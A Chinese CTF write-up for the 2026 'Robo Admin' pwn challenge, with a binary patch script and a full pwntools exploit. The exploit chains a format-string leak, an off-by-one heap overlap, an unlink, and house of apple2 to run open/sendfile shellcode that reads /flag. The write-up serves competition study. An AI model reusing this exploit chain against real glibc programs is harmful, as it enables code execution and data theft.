-
-
[原创]2026 软件系统安全赛Robo Admin题解
-
发表于: 1天前 452
-
2026 软件系统安全赛Robo Admin题解


fix

这个位置存在格式化字符串漏洞,同时按照要求增加解码后的判断逻辑即可
没做出来的师傅们可能没有好好读题,题目里面指定了需要审计set_notice函数和show_status函数,所以会有以下三种情况
- 如果原文中出现
$或%,则输出[X] raw input contains illegal chars - 如果解码后的字符串出现
$或%,则输出[X] decoded input contains illegal chars - 不满足以上条件,则允许写入
bss段中
因此我们需要在修复格式化字符串的同时,利用汇编添加第二条的逻辑,至于第二层菜单的off by one甚至都不用修复就可以通过check
#!/usr/bin/env python
# coding=utf-8
from AwdPwnPatcher import *
binary = "./pwn"
awd = AwdPwnPatcher(binary)
fmt_offset = awd.add_constant_in_ehframe("%s\x00\x00")
assembly = """
mov eax, 0
mov rsi, rdi
lea rdi, qword ptr [{}]
""".format(hex(fmt_offset))
awd.patch_by_jmp(0x1A45, jmp_to=0x1A4A, assembly=assembly)
offset = awd.add_constant_in_ehframe("[X] decoded input contains illegal chars\x00")
assembly = """
lea rax, qword ptr [rbp-0x310]
mov esi, 0x25
mov rdi, rax
call 0x1200
test rax, rax
jnz print
lea rax, qword ptr [rbp-0x310]
mov esi, 0x24
mov rdi, rax
call 0x1200
test rax, rax
jnz print
lea rax, qword ptr [rbp-0x310]
jmp 0x190E
print:
lea rax, qword ptr [{}]
mov rdi, rax
call 0x11D0
jmp 0x1945
""".format(hex(offset))
awd.patch_by_jmp(0x1907, 0x190E, assembly=assembly)
awd.save()
attack
通过格式化字符串泄露信息,同时泄露password经过login的认证,随后进入主菜单

这个位置存在一个off by one,可以先通过这个off by one修改后一个堆块的size,随后通过后一个堆块覆盖之后的内存,实现堆重叠,随后打unlink就可以直接控制堆块管理内存的权限

随后可以泄露堆的地址,修改_IO_list_all,打house of apple2即可
其实在打unlink之前,一直在尝试通过堆重叠直接篡改fd,由于是glibc 2.35,因此存在异或加密,需要先泄露一个堆地址。由于编辑堆块的时候会在堆块的末尾添加空字符,而show功能利用的是printf,因此很难通过edit + show的方式泄露堆地址,尝试半天后最终选择unlink。我们通过之前的格式化字符串可以泄露出ELF基地址,同时存在溢出写,满足打unlink的条件

我其实觉得攻击挺简单的,不知道为什么华东赛区全场就两个解
from pwn import *
from LibcSearcher import *
from ctypes import *
context(os="linux",arch="amd64",log_level="debug")
# io = process("./pwn")
io = remote("192.0.100.2",9999)
# io = gdb.debug("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
cr = io.can_recv
def cmd(i, prompt=b">"):
sla(prompt, i)
def add(idx, name, size):
cmd(b"1")
sla(b"Index:", str(idx).encode())
sla(b"Task name:", name)
sla(b"Desc size:", str(size).encode())
# ......
def edit(idx, leng, data):
cmd(b"2")
sla(b"Index:", str(idx).encode())
sla(b"Write length :", str(leng).encode())
sla(b"New desc bytes:", data)
# ......
def show(idx):
cmd(b"3")
sla(b"Index:", str(idx).encode())
# ......
def show_all():
cmd(b"4")
def dele(idx):
cmd(b"5")
sla(b"Index:", str(idx).encode())
# ......
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
cmd(b"1")
sl(b"\\x2513\\x24p \\x2514\\x24p \\x2515\\x24p \\x2523\\x24p \\x256\\x24p \\x257\\x24p")
# pause()
cmd(b"2")
ru(b"Notice:")
ru(b"0x")
canary = int(r(16), 16)
ru(b"0x")
stack = int(r(12), 16)
ru(b"0x")
elf_base = int(r(12), 16) - 0x2893
ru(b"0x")
libc_base = int(r(12), 16) - 0x29d90
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"] + 61
mprotect = libc_base + libc.sym["mprotect"]
system = libc_base + libc.sym["system"]
leak("canary", canary)
leak("stack", stack)
leak("elf_base", elf_base)
leak("libc_base", libc_base)
ru(b"0x")
password1 = int(r(16), 16)
ru(b"0x")
password2 = int(r(16), 16)
leak("password1", password1)
leak("password2", password2)
password1 = p64(password1, endianness='big')
print(b"password1 = ", password1)
password2 = p64(password2, endianness='big')
print(b"password2 = ", password2)
pass_word = ""
for i in range(len(password1)):
pass_word = pass_word + hex(password1[i])[2:]
for i in range(len(password2)):
pass_word = pass_word + hex(password2[i])[2:]
print(b"pass_word = ", pass_word)
cmd(b"3")
ru(b"Token:")
sl(b"ROBOADMIN")
ru(b"Password")
sl(pass_word.encode())
add(2, b"AAAA", 0x128)
add(3, b"AAAA", 0x128)
add(4, b"AAAA", 0x100)
add(5, b"AAAA", 0x200)
add(6, b"AAAA", 0x200)
add(7, b"AAAA", 0x100)
edit(2, 0x129, b"A"*0x128+b"\xf0")
dele(3)
# pause()
add(3, b"AAAA", 0x1e0)
# pause()
target = elf_base + 0x5158
edit(3, 0x140, (p64(0)+p64(0x120)+p64(target-0x18)+p64(target-0x10)).ljust(0x120, b"A")+p64(0x120)+p64(0x640))
dele(4)
edit(3, 0x18, p64(0)+p64(0)+p64(elf_base+0x5168))
show(2)
ru(b"Task<AAAA> => ")
heap_base = u64(r(6).ljust(8, b"\x00")) - 0x1cd0
leak("heap_base", heap_base)
edit(3, 0x58, b"A"*0x50 + p64(_IO_list_all))
edit(5, 0x200, flat([setcontext]))
edit(6, 0x200, flat({0x0:0x3b68732020, # _flags
0x20:0, # _IO_write_base
0x28:1, # _IO_write_ptr
0x88:heap_base, # _lock
0xa0:heap_base+0x20f0, # _wide_data
0xc0:0, # _mode
0xd8:_IO_wfile_jumps # vtable
}, filler = b"\x00"))
edit(7, 0x100, flat({0x18:0,
0x30:0,
0xe0:heap_base+0x1cd0-0x68, # backdoor
0xa0:heap_base+0x1968,
0x68:heap_base,
0x70:0x5000,
0x88:7,
0xa8:mprotect
}, filler = b"\x00"))
edit(2, 0x10, p64(heap_base+0x1ee0))
edit(3, 0x58, b"A"*0x50 + p64(heap_base+0x1960))
shell = shellcraft.amd64.openat(-100, "/flag", 4, 0) + shellcraft.amd64.sendfile(1,3,0,0x1000)
edit(2, 0x100, p64(0x4444444444444444)+p64(heap_base+0x1970)+b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe6E1\xd2j\x9c_j\x04Z1\xc0f\xb8\x01\x01\x0f\x05A\xba\x01\x01\x01\x01A\x81\xf2\x01\x11\x01\x01j\x01_1\xd2j\x03^j(X\x0f\x05')
# pause()
cmd(b"6")
cmd(b"4")
ia()
Article title:2026 软件系统安全赛Robo Admin题解
Article author:sysNow
Release time:Apr 20, 2026
Original link:b7dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6P5i4y4F1L8%4N6Q4x3X3g2^5P5i4A6Q4x3V1k6T1L8r3!0Y4i4K6u0r3j5$3y4K6M7%4y4U0i4K6g2X3M7X3!0T1L8$3q4V1L8h3W2F1